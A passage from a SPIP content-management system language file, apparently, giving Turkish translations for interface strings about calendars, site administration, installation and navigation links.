'ical_info_calendrier' => 'Kullanımınıza iki takvim sunulmuştur. Birincisi yayınlanmış tüm makaleleri duyuran bir site planıdır. İkincisi ise editör ilanları ile son olarak aldığınız özel iletilerinizi içerir : kişisel bir anahtar ile size ayrılmıştır ve buradaki bilgileri şifrenizi yenileyerek her an değiştirebilirsiniz.',
'ical_methode_http' => 'Yükleme',
'ical_methode_webcal' => 'Eşzamanlaştırma (webcal://)',
'ical_texte_js' => 'Bir javascript satırı size ait herhangi bir sitede yayınlanan son makaleleri gayet basit bir şekilde görüntülemenizi sağlar. ',
'ical_texte_prive' => 'Tamamen kişisel kullanıma ayrılmış bu takvim size bu sitenin özel editör etkinlikleri hakkında bilgi verir (kişisel işler ve randevular, önerilen makaleler ve haberler...).',
'ical_texte_public' => 'Bu takvim bu sitenin kamu etkinliğini izlemenizi sağlar (yayınlanan makeleler ve haberler).',
'ical_texte_rss' => 'Bu sitenin yeniliklerini herhangi bir XML/RSS (Rich Site Summary) formatındaki dosya okuyucusunda paylaşabilirsiniz. SPIP’e uyumlu değiş-tokuş formatı kullanan (paylaşımlı) başka sitelerde yayınlanan yenilikleri okuma olanağı veren de bu formattır.',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'E-posta listesi',
'ical_titre_rss' => 'Paylaşım dosyaları',
'icone_activer_cookie' => 'Yazışma çerezini etkinleştir',
'icone_admin_plugin' => 'Plugin’lerin yönetimi',
'icone_afficher_auteurs' => 'Yazarları göster',
'icone_afficher_visiteurs' => 'Ziyaretçileri görüntüle',
'icone_arret_discussion' => 'Artık bu sohbete katılma',
'icone_calendrier' => 'Takvim',
'icone_creer_auteur' => 'Yeni bir yazar oluştur ve bu makaleye bağla',
'icone_creer_mot_cle' => 'Yeni bir anahtar sözcük yarat ve bu makaleye bağla',
'icone_creer_mot_cle_rubrique' => 'Yeni bir anahtar sözcük oluştur ve bu başlığa bağla',
'icone_creer_mot_cle_site' => 'Yeni bir anahtar sözcük oluştur ve bu siteye bağla',
'icone_creer_rubrique_2' => 'Yeni bir bölüm oluştur',
'icone_envoyer_message' => 'Bu iletiyi gönder',
'icone_modifier_article' => 'Bu makaleyi değiştir',
'icone_modifier_message' => 'Bu iletiyi değiştir',
'icone_modifier_rubrique' => 'Bu bölümü değiştir',
'icone_relancer_signataire' => 'İmzalayanı tekrar başlat',
'icone_retour' => 'Geri dön',
'icone_retour_article' => 'Makaleye geri dön',
'icone_supprimer_cookie' => 'Yazışma çerezini sil',
'icone_supprimer_rubrique' => 'Bu bölümü sil',
'icone_supprimer_signature' => 'Bu imzayı sil',
'icone_valider_signature' => 'Bu imzayı onayla',
'image_administrer_rubrique' => 'Bu bölümü yönetebilirsiniz',
'info_1_article' => '1 makale',
'info_1_site' => '1 site',
'info_activer_cookie' => 'Bir <b>yazışma kurabiyesi</b> çalıştırabilirsiniz,
bu sizin kolayca kamu sitesinden özel siteye geçmenizi sağlar.',
'info_admin_gere_rubriques' => 'Bu yönetici şu bölümleri yönetiyor :',
'info_admin_gere_toutes_rubriques' => 'Bu yönetici <b>tüm bölümleri</b> yönetiyor.', # MODIF
'info_administrateur' => 'Yönetici',
'info_administrateur_1' => 'Yönetici',
'info_administrateur_2' => 'sitenindir (<i>dikkatli kullanınız</i>)',
'info_administrateur_site_01' => 'Eğer site yöneticisiyseniz, lütfen',
'info_administrateur_site_02' => 'bu bağlantıya tıklayınız',
'info_administrateurs' => 'Yöneticiler',
'info_administrer_rubrique' => 'Bu bölümü yönetebilirsiniz',
'info_adresse' => 'şu adresteki :',
'info_adresse_url' => 'Kamusal sitenin adresi (URL) ',
'info_afficher_visites' => 'Şu adrese yapılan ziyaretlerin gösterileceği yer :',
'info_aide_en_ligne' => 'SPIP çevrimiçi yardım',
'info_ajout_image' => 'Bir makalenin eki olarak resim eklediğinizde,
SPIP sizin için otomatik olarak eklenen resimlerin ikonlarını (minyatürlerini)
yaratabilir. Bu da otomatik olarak bir galeri
ya da bir portföy oluşturmaya yarar.',
'info_ajout_participant' => 'Eklenen katılımcı :',
'info_ajouter_rubrique' => 'Yönetecek başka bir bölüm ekle:',
'info_annonce_nouveautes' => 'Yenilik duyurusu',
'info_anterieur' => 'Bir önceki',
'info_article' => 'makale ',
'info_article_2' => 'makale',
'info_article_a_paraitre' => 'Yayınlanacak ileri tarihli makaleler',
'info_articles_02' => 'makale',
'info_articles_2' => 'Makaleler',
'info_articles_auteur' => 'Bu yazarın makaleleri',
'info_articles_trouves' => 'Bulunan makaleler',
'info_articles_trouves_dans_texte' => '(metin içerisinde) bulunan makeleler ',
'info_attente_validation' => 'Onay bekleyen makaleleriniz',
'info_aujourdhui' => 'Bugün :',
'info_auteur_message' => 'İLETİNİN YAZARI :',
'info_auteurs' => 'Yazarlar',
'info_auteurs_par_tri' => 'yazarlar@partri@',
'info_auteurs_trouves' => 'Bulunan yazarlar',
'info_authentification_externe' => 'Dışarıdan tasdik',
'info_avertissement' => 'Uyarı',
'info_barre_outils' => 'alet çubuğuyla birlikte mi ?',
'info_base_installee' => 'Veritabanınızın yapısı kuruldu.',
'info_chapeau' => 'Giriş',
'info_chapeau_2' => 'Giriş :',
'info_chemin_acces_1' => 'Seçenekler : <b>Rehbere erişim yolu</b>',
'info_chemin_acces_2' => 'Artık dizindeki bilgilere erişim yolunu düzenlemeniz gerekiyor. Bu bilgi dizinde bulundurulan kullanıcı profillerini okumak için şarttır. ',
'info_chemin_acces_annuaire' => 'Seçenekler : <b>Rehbere erişim yolu',
'info_choix_base' => 'Üçüncü aşama :',
'info_classement_1' => '@liste@’den inci',
'info_classement_2' => '@liste@’den inci',
'info_code_acces' => 'Kendi erişim şifrelerinizi unutmayınız !',
'info_compresseur_gzip' => '<b>N. B. :</b> Önce, barındırma servisinin php skriptlerini sistematik olarak sıkıştırıp sıkıştırmadığının kontrol edilmesi önerilir ; bunun için, örneğin şu hizmeti kullanabilirsiniz : @testgzip@', # MODIF
'info_compresseur_texte' => 'Eğer sunucunuz html sayfaları otomatik olarak sıkıştırmıyorsa, yüklenen sayfa ağırlıklarını düşürmek için bu işlemi yapmaya zorlayabilirsiniz. <b>Dikkat</b> : bu işlem bazı sunucuları gözle görülür şekilde yavaşlatabilir.',
'info_config_suivi' => 'Eğer bu adres bir gönderi listesi (mailing-list)’ne karşı düşüyorsa, aşağıya site katılımcılarının hangi adrese kaydolabileceklerini yazabilirsiniz. Bu adres URL (örneğin listeye Web ile kaydolma sayfası), veya özel bir konu içeren (örneğin: @adresse_suivi@?subject=subscribe) bir e-posta adresi olabilir:',
'info_config_suivi_explication' => 'Bu sitenin gönderi listesi (mailing-list)’ne abone olabilirsiniz. O takdirde yayınlanması önerilen makale ve haber ilanları e-posta yoluyla elinize geçecektir. ',
'info_confirmer_passe' => 'Yeni şifrenin teyid edilmesi :',
'info_conflit_edition_avis_non_sauvegarde' => 'Dikkat, şu alanlar başka bir yerden değiştirildi. Sizin bu alanlardaki değişiklikleriniz kaydedilmedi.',
'info_conflit_edition_differences' => 'Farklar :',
'info_conflit_edition_version_enregistree' => 'Kayıtlı sürüm :',
'info_conflit_edition_votre_version' => 'Sizin sürümünüz :',
'info_connexion_base' => 'Veritabanına bağlanma denemesi',
'info_connexion_base_donnee' => 'Veri tabanınıza bağlantı',
'info_connexion_ldap_ok' => 'LDAP bağlantısı başarılı. Diğer aşamaya geçebilirsiniz.', # MODIF
'info_connexion_mysql' => 'SQL bağlantınız',
'info_connexion_ok' => 'Bağlantı başarılı. ',
'info_contact' => 'İletişim',
'info_contenu_articles' => 'Makalelerin içeriği',
'info_creation_paragraphe' => '(Paragraf yaratmak için sadece boş bir kaç satır bırakınız.)', # MODIF
'info_creation_rubrique' => 'Makale yazmadan önce en az bir bölüm yaratmanız gerekir.',
'info_creation_tables' => 'Veritabanı tablolarının yaratılması',
'info_creer_base' => 'Yeni bir veritabanı <b>yaratılması</b> :',
'info_dans_rubrique' => 'Bölümde :',
'info_date_publication_anterieure' => 'Daha önceki yayınlanma tarihi :',
'info_date_referencement' => 'BU SİTEYE ATIFTA BULUNULMA TARİHİ :',
'info_derniere_etape' => 'Tamamlandı !',
'info_derniers_articles_publies' => 'Çevrimiçi yayınlanan son makaleleriniz',
'info_desactiver_messagerie_personnelle' => 'Bu sitedeki kişisel mesajlaşmanızı çalıştırabilir veya durdurabilirsiniz.',
'info_descriptif' => 'Tanım :',
'info_desinstaller_plugin' => 'verileri sil ve plugin’i pasif kıl',
'info_discussion_cours' => 'Süren sohbetler',
'info_ecrire_article' => 'Makale yazmadam önce en az bir bölüm yaratmanız gerekir.',
'info_email_envoi' => 'Gönderi e-posta adresi (seçimlik)',
'info_email_envoi_txt' => 'E-postaları göndermek için kullanılacak adresi burada belirtiniz (yoksa, gönderi adresi olarak alıcı adresi kullanılacaktır) :',
'info_email_webmestre' => 'Ağ Yöneticisinin e-posta adresi (seçimlik)', # MODIF
'info_entrer_code_alphabet' => 'Kullanılacak alfabenin kodunu giriniz :',
'info_envoi_email_automatique' => 'Otomatik e-posta gönderme',
'info_envoyer_maintenant' => 'Şimdi gönder',
'info_etape_suivante' => 'Bir sonraki aşamaya geç',
'info_etape_suivante_1' => 'Bir sonraki aşamaya geçebilirsiniz',
'info_etape_suivante_2' => 'Bir sonraki aşamaya geçebilirsiniz',
'info_exportation_base' => 'tabanın @archive@’e doğru ihracı',
'info_facilite_suivi_activite' => 'Sitenin editör etkinliğinin izlenmesini kolaylaştırmak üzere,
SPIP, e-posta ile, örneğin, yayınlama taleplerinin ve makale
onaylarının duyurusunu editörlerin bir gönderi listesine yollayabilir.',
'info_fichiers_authent' => ' « .htpasswd » tasdik dosyaları',
'info_forums_abo_invites' => 'Siteniz abone yöntemiyle çalışan forumlar bulunduruyor ; dolayısıyla ziyaretçiler kamu sitesine kaydolmaya davet edilirler.',
'info_gauche_admin_effacer' => 'Bu sayfa sadece site yetkililerinin erişimine izin verir. Çeşitli teknik bakım işlevlerine erişim vermektedir. Bunlardan bazıları, Web sitesine bir FTP erişimi gerektiren özel bir tasdik sürecine yol açar.', # MODIF
'info_gauche_admin_tech' => 'Bu sayfa sadece site yetkililerinin erişimine izin verir. Çeşitli teknik bakım işlevlerine erişim vermektedir. Bunlardan bazıları, Web sitesine bir FTP erişimi gerektiren özel bir tasdik sürecine yol açar.', # MODIF
'info_gauche_admin_vider' => 'Bu sayfa sadece site yetkililerinin erişimine izin verir. Çeşitli teknik bakım işlevlerine erişim vermektedir. Bunlardan bazıları, Web sitesine bir FTP erişimi gerektiren, özel bir tasdik sürecine yol açar.', # MODIF
'info_gauche_auteurs' => 'Burada tüm site yazarlarını bulacaksınız. Statüleri simgelerinin rengi ile belirtilmiştir (yönetici = yeşil; yazı işleri = sarı).',
'info_gauche_auteurs_exterieurs' => 'Siteye erişimi olmayan dış yazarlar, mavi bir simgeyle belirtilmiştir ; silinen yazarlar ise bir çöp kutusu ile belirtilmiştir.', # MODIF
'info_gauche_messagerie' => 'Mesajlaşma sizin yazarlar ile ileti alışverişinde bulunmanızı, hatırlatmaları saklamanızı (kişisel amaçlı) veya özel alanın erişim sayfasına duyuru koymanızı sağlar (yöneticiyseniz).',
'info_gauche_numero_auteur' => 'YAZAR NUMARASI',
'info_gauche_statistiques_referers' => 'Bu sayfa atıflar listesini, yani sizin sitenize yönlendiren bağlar bulunduran sitelerin listesini sunar, ancak sadece dün ve bugün içindir ; bu liste her 24 saatte bir sıfırlanır.',
'info_gauche_visiteurs_enregistres' => 'Burada sitenin kamu alanına kaydolan
ziyaretçileri bulacaksınız (abonelik yöntemiyle yönetilen forumlar).',
'info_generation_miniatures_images' => 'Mevcut resimlerin minyatürlerinin üretilmesi',
'info_gerer_trad' => 'Çeviri bağlantıları yönetilsin mi ?',
'info_hebergeur_desactiver_envoi_email' => 'Bazı Hizmet bilgisayarları kendi sunucularından
otomatik e-posta gönderisini durduruyorlar.
Bu durumda SPIP’in şu işlevleri çalışmaz :',
'info_hier' => 'Dün :',
'info_historique_activer' => 'Gözden geçirmelerin izlenmesini başlat',
'info_historique_affiche' => 'Bu uyarlamayı göster',
'info_historique_comparaison' => 'Karşılaştırma',
'info_historique_desactiver' => 'Gözden geçirmelerin izlenmesini durdur',
'info_historique_texte' => 'Gözden geçirmeleri izleme bir makalenin içeriğine getirilen tüm değişikliklerin bir tarihçesini saklamaya yarar ve de birbirini izleyen uyarlamalar arasındaki farkları gösterir. ',
'info_identification_publique' => 'Kamu kimliğiniz ...',
'info_image_process' => 'Lütfen, uygun resme tıklayarak en iyi ikon üretim yöntemini seçiniz. ',
'info_image_process2' => '<b>NOT:</b> <i> Hiç resim çıkmıyorsa, sitenizi yayınlayan sunucu bu tür araçlar kullanmak için konfifüre edilmemiş demektir. Eğer bu işlevleri kullanmak istiyorsanız teknik yetkiliye başvurun ve «GD» ya da «Imagick» aksesuarlarını isteyin.</i>', # MODIF
'info_images_auto' => 'Otomatik olarak hesaplanan resimler',
'info_informations_personnelles' => 'Kişisel bilgiler',
'info_inscription_automatique' => 'Yeni yazarların otomatik kaydı',
'info_jeu_caractere' => 'Sitedeki yazı tipi',
'info_jours' => 'Günler',
'info_laisser_champs_vides' => 'Bu alanları boş bırakınız.)',
'info_langues' => 'Sitenin dilleri',
'info_ldap_ok' => 'LDAP tasdiki kuruldu.',
'info_lien_hypertexte' => 'Hipermetin bağı :',
'info_liste_redacteurs_connectes' => 'Bağlanan yazarlar',
'info_login_existant' => 'Bu kullanıcı ismi zaten var.',
'info_login_trop_court' => 'Kullanıcı ismi çok kısa.',
'info_logos' => 'Logolar',
'info_maximum' => 'En fazla :',
'info_meme_rubrique' => 'Aynı bölümde',
'info_message' => 'İletiyi gönderen',
'info_message_efface' => 'İLETİ SİLİNDİ',
'info_message_en_redaction' => 'Yazılmakta olan mesajlarınız',
'info_message_technique' => 'Teknik ileti :',
'info_messagerie_interne' => 'İç mesajlaşma',
'info_mise_a_niveau_base' => 'SQL veri tabanınızın seviye yükseltmesi',
'info_mise_a_niveau_base_2' => '{{Dikkat!}} bu sitede bulunan SPIP
dosyalarının {daha önceki}
sürümünü yüklediniz:
veritabanınız kaybolabilir ve siteniz işlemez hale gelebilir.
{{SPIP dosyalarını tekrar kurunuz.}}',
'info_modifier_auteur' => 'Yazarı değiştir :',
'info_modifier_rubrique' => 'Bölümü değiştir :',
'info_modifier_titre' => 'Değiştir : @titre@',
'info_mon_site_spip' => 'Benim SPIP sitem',
'info_mot_sans_groupe' => '(Grupsuz sözcükler...)',
'info_moteur_recherche' => 'Entegre arama motoru',
'info_moyenne' => 'Ortalama :',
'info_multi_articles' => 'Makalelerin dil mönüsü çalıştırılsın mı ?',
'info_multi_cet_article' => 'Bu makalenin dili :',
'info_multi_langues_choisies' => 'Lütfen aşağıda sitenizdeki yazarların kullanabileceği dilleri seçiniz.
Sitenizde daha önce kullanılan (ve görüntülenen) diller iptal edilemez. ',
'info_multi_rubriques' => 'Bölümlerde dil mönüsü çalışsın mı ?',
'info_multi_secteurs' => 'Sadece kök dizinde yer alan bölümler için mi ?',
'info_nom' => 'İsim',
'info_nom_destinataire' => 'Alıcının ismi',
'info_nom_site' => 'Sitenizin ismi',
'info_nombre_articles' => '@nb_articles@ makale,',
'info_nombre_partcipants' => 'TARTIŞMAYA KATILANLAR :',
'info_nombre_rubriques' => '@nb_rubriques@ bölüm,',
'info_nombre_sites' => '@nb_sites@ site,',
'info_non_deplacer' => 'Yerini değiştirmeyin...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP düzenli olarak sitenin son yeniliklerini duyurabilir
(yeni yayınlanmış makale ve kısa haberler).',
'info_non_envoi_liste_nouveautes' => 'Yenilikler listesini gönderme',
'info_non_modifiable' => 'Değiştirilemez',
'info_non_suppression_mot_cle' => 'Bu anahtar sözcüğün silinmesini istemiyorum.',
'info_notes' => 'Notlar',
'info_nouveaux_message' => 'Yeni iletiler',
'info_nouvel_article' => 'Yeni makale',
'info_nouvelle_traduction' => 'Yeni çeviri :',
'info_numero_article' => 'MAKALE N° :',
'info_obligatoire_02' => '[Zorunlu]', # MODIF
'info_option_accepter_visiteurs' => 'Kamu sitesi ziyaretçilerinin kaydını kabul et',
'info_option_faire_suivre' => 'Forum iletilerinin makale yazarlarına gönderilmesi',
'info_option_ne_pas_accepter_visiteurs' => 'Ziyaretçi kayıdını reddet',
'info_options_avancees' => 'GELİŞMİŞ SEÇENEKLER',
'info_ortho_activer' => 'İmlâ kontrolünü çalıştır',
'info_ortho_desactiver' => 'İmlâ kontrolünü durdur',
'info_ou' => 'Veya ...',
'info_page_interdite' => 'Yasaklanmış sayfa',
'info_par_nom' => 'isme göre',
'info_par_nombre_article' => 'makale sayısına göre',
'info_par_statut' => 'duruma göre',
'info_par_tri' => '’(@tri@ sıralamasına göre) ’',
'info_passe_trop_court' => 'Şifre çok kısa.',
'info_passes_identiques' => 'İki şifre aynı değil.',
'info_pense_bete_ancien' => 'Eski hatırlatmalarınız', # MODIF
'info_plus_cinq_car' => '5 karakterden fazla',
'info_plus_cinq_car_2' => '(5 karakterden fazla)',
'info_plus_trois_car' => '(3 karakterden fazla)',
'info_popularite' => 'popülerlik : @popularite@ ; ziyaretler : @visites@',
'info_popularite_4' => 'popülerlik : @popularite@ ; ziyaretler : @visites@',
'info_post_scriptum' => ' Not :',
'info_post_scriptum_2' => ' Not :',
'info_pour' => ' Için',
'info_preview_admin' => 'Siteyi ancak yöneticiler ön izleyebilir',
'info_preview_comite' => 'Siteyi tüm yazarlar ön izleyebilir',
'info_preview_desactive' => 'Önizleme kipi tamamen iptal edildi',
'info_preview_texte' => 'Siteyi sanki (en azından « önerildi » statüsüne sahip) tüm makale ve haberler yayınlanmış gibi önizlemeye almak olanaklıdır. Bu olanak sadece yöneticilere mi, tüm yazarlara mı, açık olmalı yoksa hiç kimseye açık olmamalı mı ?',
'info_principaux_correspondants' => 'Başlıca yazışmacılarınız',
'info_procedez_par_etape' => 'Aşama aşama ilerleyiniz',
'info_procedure_maj_version' => 'Veritabanını yeni SPIP sürümüne uyarlamak için
seviye yükseltme işlemi başlatılmalı.',
'info_proxy_ok' => 'Vekil (Proxy) denemesi başarılı.',
'info_ps' => 'Not :',
'info_publier' => 'Yayınla',
'info_publies' => 'Çevrimiçi yayınlanan makaleleriniz',
'info_question_accepter_visiteurs' => 'Eğer sitenizin iskeleti özel alana erişimi olmayan ziyaretçilerin kaydını öngörüyorsa, aşağıdaki seçeneği çalıştırınız :',
'info_question_inscription_nouveaux_redacteurs' => 'Kamu sitesinden yeni editörlerin kaydolmasını kabul ediyor musunuz ?
Eğer kabul ediyorsanız, ziyaretçiler otomatik
bir form ile kaydolabilecek ve kendi makalelerini
önermek üzere özel alana erişeceklerdir.
<blockquote><i>Kayıt aşamasında, kullanıcılara, özel siteye erişim şifresi veren bir otomatik
e-posta gönderilir. Bazı Hizmet bilgisayarları kendi sunucularından
e-posta yollanmasını durduruyorlar : bu durumda otomatik kayıt olanaksızdır.', # MODIF
'info_question_utilisation_moteur_recherche' => 'SPIP’in entegre arama motorunu kullanmak istiyor musunuz ?
(onu durdurmak sistemin işleyişini hızlandırır)',
'info_question_vignettes_referer_non' => 'Ziyaretlerin yapıldığı kaynak sitelerden alıntıları gösterme',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Sitenin kökü',
'info_recharger_page' => 'Lütfen bu sayfayı az sonra tekrar yükleyiniz.',
'info_recherche_auteur_a_affiner' => '"@cherche_auteur@" için çok fazla sonuç alındı ; lütfen aramayı ayrıntılayınız.',
'info_recherche_auteur_ok' => ' "@cherche_auteur@" için birçok editör bulundu :',
'info_recherche_auteur_zero' => ' "@cherche_auteur@" için hiç bir sonuç elde edilemedi.',
'info_recommencer' => 'Lütfen baştan başlayınız.',
'info_redacteur_1' => 'Editör',
'info_redacteur_2' => 'Özel alana girişi olan (tavsiye edilen)',
'info_redacteurs' => 'Editörler',
'info_redaction_en_cours' => 'YAZIM AŞAMASINDA',
'info_redirection' => 'Yönlendirme',
'info_refuses' => 'Reddedilen makaleleriniz',
'info_reglage_ldap' => 'Seçenekler : <b>LDAP ithalinin ayarlanması.</b>',
'info_renvoi_article' => '<b>Yönlendirme.</b> Bu makalenin bizi şu sayfaya yönlendirir:',
'info_reserve_admin' => 'Bu adresi sadece yöneticiler değiştirebilir.',
'info_restreindre_rubrique' => 'Yönetimi bu bölümle sınırla:',
'info_resultat_recherche' => 'Arama sonucu :',
'info_rubriques' => 'Bölümler',
'info_rubriques_02' => 'bölüm',
'info_rubriques_trouvees' => 'Bulunan bölümler',
'info_rubriques_trouvees_dans_texte' => 'Bulunan bölümler (metnin içinde)',
'info_sans_titre' => 'Başlıksız',
'info_selection_chemin_acces' => 'Rehbere erişim yolunu <b>seçiniz</b> :',
'info_signatures' => 'İmzalar',
'info_site' => 'Site ',
'info_site_2' => 'Site :',
'info_site_min' => 'Site ',
'info_site_reference_2' => 'Atıfta bulunan site',
'info_site_web' => 'WEB SiTESİ :', # MODIF
'info_sites' => 'Siteler',
'info_sites_lies_mot' => 'Bu anahtar sözcüğe bağlı atıfta bulunulan siteler',
'info_sites_proxy' => 'Vekil kullan',
'info_sites_trouves' => 'Bulunan siteler',
'info_sites_trouves_dans_texte' => 'Bulunan siteler (metnin içinde)',
'info_sous_titre' => 'Alt-başlık :',
'info_statut_administrateur' => 'Yönetici',
'info_statut_auteur' => 'Bu yazarın statüsü :',
'info_statut_auteur_a_confirmer' => 'Onaylanacak kayıt',
'info_statut_auteur_autre' => 'Diğer statü :',
'info_statut_efface' => 'Silindi',
'info_statut_redacteur' => 'Yazar',
'info_statut_utilisateurs_1' => 'İthal edilen kullanıcıların varsayılan statüsü',
'info_statut_utilisateurs_2' => 'LDAP dizininde mevcut olan kişilere ilk defa bağlantı kurduklarında verilen statüyü seçiniz. Sonradan bu statüyü her bir yazar için tek tek değiştirebilirsiniz.',
'info_suivi_activite' => 'Yayın etkinliklerini izleme',
'info_surtitre' => 'Üst başlık :',
'info_syndication_integrale_1' => 'Siteniz paylaşım dosyaları öneriyor (bkz « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Makaleleri oldukları gibi mi iletmek isterseniz yoksa bir kaç yüz sözcüklük özetlerini mi ?',
'info_table_prefix' => 'Aynı veritabanına bir çok site kuracaksanız veri tablolarının ismindeki ön-eki değiştirebilirsiniz : yalnız aksansız küçük harf kullanmalısınız.',
'info_taille_maximale_images' => 'SPIP (milyon piksel cinsinden)işleyebileceği en büyük resim boyunu deneyecek.<br /> Bundan daha büyük resimler işlenmeyecek.',
'info_taille_maximale_vignette' => 'Sistem tarafından üretilen en büyük ikon boyutu :',
'info_terminer_installation' => 'Artık standart kurulum işlemini bitirebilirsiniz.',
'info_texte' => 'Metin',
'info_texte_explicatif' => 'Açıklama metni ',
'info_texte_long' => '(Metin uzun : dolayısıyla onaylandıktan sonra bir araya getirilecek birkaç parça halinde görünüyor.)',
'info_texte_message' => 'İletinizin metni :', # MODIF
'info_texte_message_02' => 'İleti metni',
'info_titre' => 'Başlık :',
'info_total' => 'toplam :',
'info_tous_articles_en_redaction' => 'Yazılmakta olan tüm makaleler',
'info_tous_articles_presents' => 'Bu bölümde yayınlanan tüm makaleler',
'info_tous_les' => 'her bir :',
'info_tous_redacteurs' => 'Tüm yazarlara duyuru',
'info_tout_site' => 'Tüm siteyi',
'info_tout_site2' => 'Makale bu dile çevrilmedi.',
'info_tout_site3' => 'Makale bu dile çevrildi ancak sonradan atıfta bulunulan makalede değişiklikler yapıldı. Çeviri güncellenmeli.',
'info_tout_site4' => 'Makale bu dile çevrildi ve çeviri güncel.',
'info_tout_site5' => 'Makalenin orijinali.',
'info_tout_site6' => '<b>Dikkat :</b>
sadece orijinal makaleler görüntüleniyor.
Orijinale bağlı çeviriler durumlarını belirten bir renkle belirtilmiştir :',
'info_travail_colaboratif' => 'Makalelerde işbirliği',
'info_un_article' => 'bir makale,',
'info_un_site' => 'bir site,',
'info_une_rubrique' => 'bir bölüm,',
'info_une_rubrique_02' => '1 bölüm',
'info_url' => 'URL :',
'info_url_site' => 'SİTE’nin URL’si :',
'info_urlref' => 'Hipermetin bağı :',
'info_utilisation_spip' => 'SPIP artık kullanılmaya hazırdır...',
'info_visites_par_mois' => 'Ay olarak görüntüleme :',
'info_visiteur_1' => 'Kamu sitesi',
'info_visiteur_2' => 'ziyaretçisi',
'info_visiteurs' => 'Ziyaretçiler',
'info_visiteurs_02' => 'Kamu sitesi ziyaretçileri ',
'install_adresse_base_hebergeur' => 'Barındırma firması tarafından atanmış veritabanının adresi',
'install_base_ok' => '@base@ veri tabanı tanındı',
'install_echec_annonce' => 'Kurulum büyük olasılıkla başarısız olacak veya site çalışmayacak...',
'install_extension_mbstring' => 'SPIP belirtilen programla çalışamaz :',
'install_extension_php_obligatoire' => 'SPIP için php uzantısı zorunludur :',
'install_login_base_hebergeur' => 'Barındırma firması tarafından atanmış kullanıcı ismi',
'install_nom_base_hebergeur' => 'Barındırma firması tarafından atanmış veritabanının ismi :',
'install_pas_table' => 'Şu anda tablo içermeyen veri tabanı',
'install_pass_base_hebergeur' => 'Barındırma firması tarafından atanmış bağlantı şifresi',
'install_php_version' => '@version@ PHP sürümü yetersiz (minimum = @minimum@)',
'install_select_langue' => 'Bir dil seçiniz, sonra « bir sonraki » düğmesini tıklayıp yükleme işlemini başlatınız.',
'install_select_type_db' => 'Veri tabanının tipini belirtiniz :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Servis sağlayıcı tarafından sağlanan veri tabanı sunucusu',
'install_table_prefix_hebergeur' => 'Barındırma firması tarafından atanmış tablo ön eki',
'install_tables_base' => 'Veri tabanı tabloları',
'install_types_db_connus' => 'SPIP <b>MySQL</b> (en yaygın), <b>PostgreSQL</b> ve <b>SQLite</b> kullanmayı bilir.', # MODIF
'install_types_db_connus_avertissement' => 'Dikkat : bir çok eklenti sadece MySQL ile çalışır', # MODIF
'intem_redacteur' => 'Yazar',
'intitule_licence' => 'Lisans',
'item_accepter_inscriptions' => 'Kayıtları kabul et',
'item_activer_messages_avertissement' => 'Uyarı iletilerini etkinleştir',
'item_administrateur_2' => 'yönetici',
'item_afficher_calendrier' => 'Takvimde görüntüle',
'item_autoriser_documents_joints' => 'Makalelere doküman eklenmesine izin ver',
'item_autoriser_documents_joints_rubriques' => 'Bölümlerde dokümanlara izin ver',
'item_autoriser_syndication_integrale' => 'Makaleleri paylaşım dosyalarında oldukları gibi yayınla',
'item_choix_administrateurs' => 'Yöneticiler ',
'item_choix_generation_miniature' => 'Resimlerin minyatürlerini otomatik olarak üret',
'item_choix_non_generation_miniature' => 'Resimlerin minyatürlerini otomatik olarak üretme',
'item_choix_redacteurs' => 'Yazarlar',
'item_choix_visiteurs' => 'Kamu sitesi ziyaretçileri',
'item_creer_fichiers_authent' => '.htpasswd dosyalarını yarat',
'item_limiter_recherche' => 'Aramayı sitenizde yer alan bilgilerle sınırla',
'item_login' => 'Kullanıcı ismi',
'item_messagerie_agenda' => 'Mesajlaşmayı ve ajandayı aktive et',
'item_mots_cles_association_articles' => 'Makalelere ',
'item_mots_cles_association_rubriques' => 'Bölümlere ',
'item_mots_cles_association_sites' => 'atıfta bulunulan ya da paylaşımlı sitelere',
'item_non' => 'Hayır ',
'item_non_accepter_inscriptions' => 'Kayıtları reddet',
'item_non_activer_messages_avertissement' => 'Uyarı iletisi yok',
'item_non_afficher_calendrier' => 'Takvimde gösterme',
'item_non_autoriser_documents_joints' => 'Makalelerde dokümana izin verme',
'item_non_autoriser_documents_joints_rubriques' => 'Bölümlerde dokümanlara izin verme',
'item_non_autoriser_syndication_integrale' => 'Sadece özet yayınla',
'item_non_compresseur' => 'Sıkıştırmayı dezaktive et',
'item_non_creer_fichiers_authent' => 'Bu dosyaların yaratma',
'item_non_gerer_statistiques' => 'İstatistikleri yönetme',
'item_non_limiter_recherche' => 'Aramayı atıfta bulunulan sitelere genişlet',
'item_non_messagerie_agenda' => 'Mesajlaşmayı ve ajandayı dezaktive et',
'item_non_publier_articles' => 'Makaleleri yayın tarihinden önce yayınlama',
'item_non_utiliser_moteur_recherche' => 'Motoru kullanma',
'item_nouvel_auteur' => 'Yeni yazar ',
'item_nouvelle_rubrique' => 'Yeni bölüm ',
'item_oui' => 'Evet ',
'item_publier_articles' => 'Makaleleri yayın tarihlerine bakmadan yayınla',
'item_reponse_article' => 'Makaleye yanıt ',
'item_utiliser_moteur_recherche' => 'Arama motorunu kullan',
'item_visiteur' => 'Ziyaretçi ',
// J
'jour_non_connu_nc' => 'Bilinmeyen ',
// L
'lien_ajout_destinataire' => 'Bu alıcıyı ekle',
'lien_ajouter_auteur' => 'Bu yazarın ekle',
'lien_ajouter_participant' => 'Bir katılımcıyı ekle',
'lien_email' => 'e-posta ',
'lien_nom_site' => 'SİTENİN ADI : ',
'lien_retirer_auteur' => 'Yazarı sil',
'lien_retrait_particpant' => 'bu katılımcıyı sil',
'lien_site' => 'site',
'lien_supprimer_rubrique' => 'bu bölümü sil',
'lien_tout_deplier' => 'Tümünün katlarını aç',
'lien_tout_replier' => 'Tümünü geri katla',
'lien_tout_supprimer' => 'Hepsini sil',
'lien_trier_nom' => 'İsme göre sırala',
'lien_trier_nombre_articles' => 'Makale sayısına göre sırala',
'lien_trier_statut' => 'Duruma göre sırala',
'lien_voir_en_ligne' => 'ÇEVRİMİÇİ GÖSTER :',
'logo_article' => 'MAKALE LOGOSU', # MODIF
'logo_auteur' => 'YAZAR LOGOSU', # MODIF
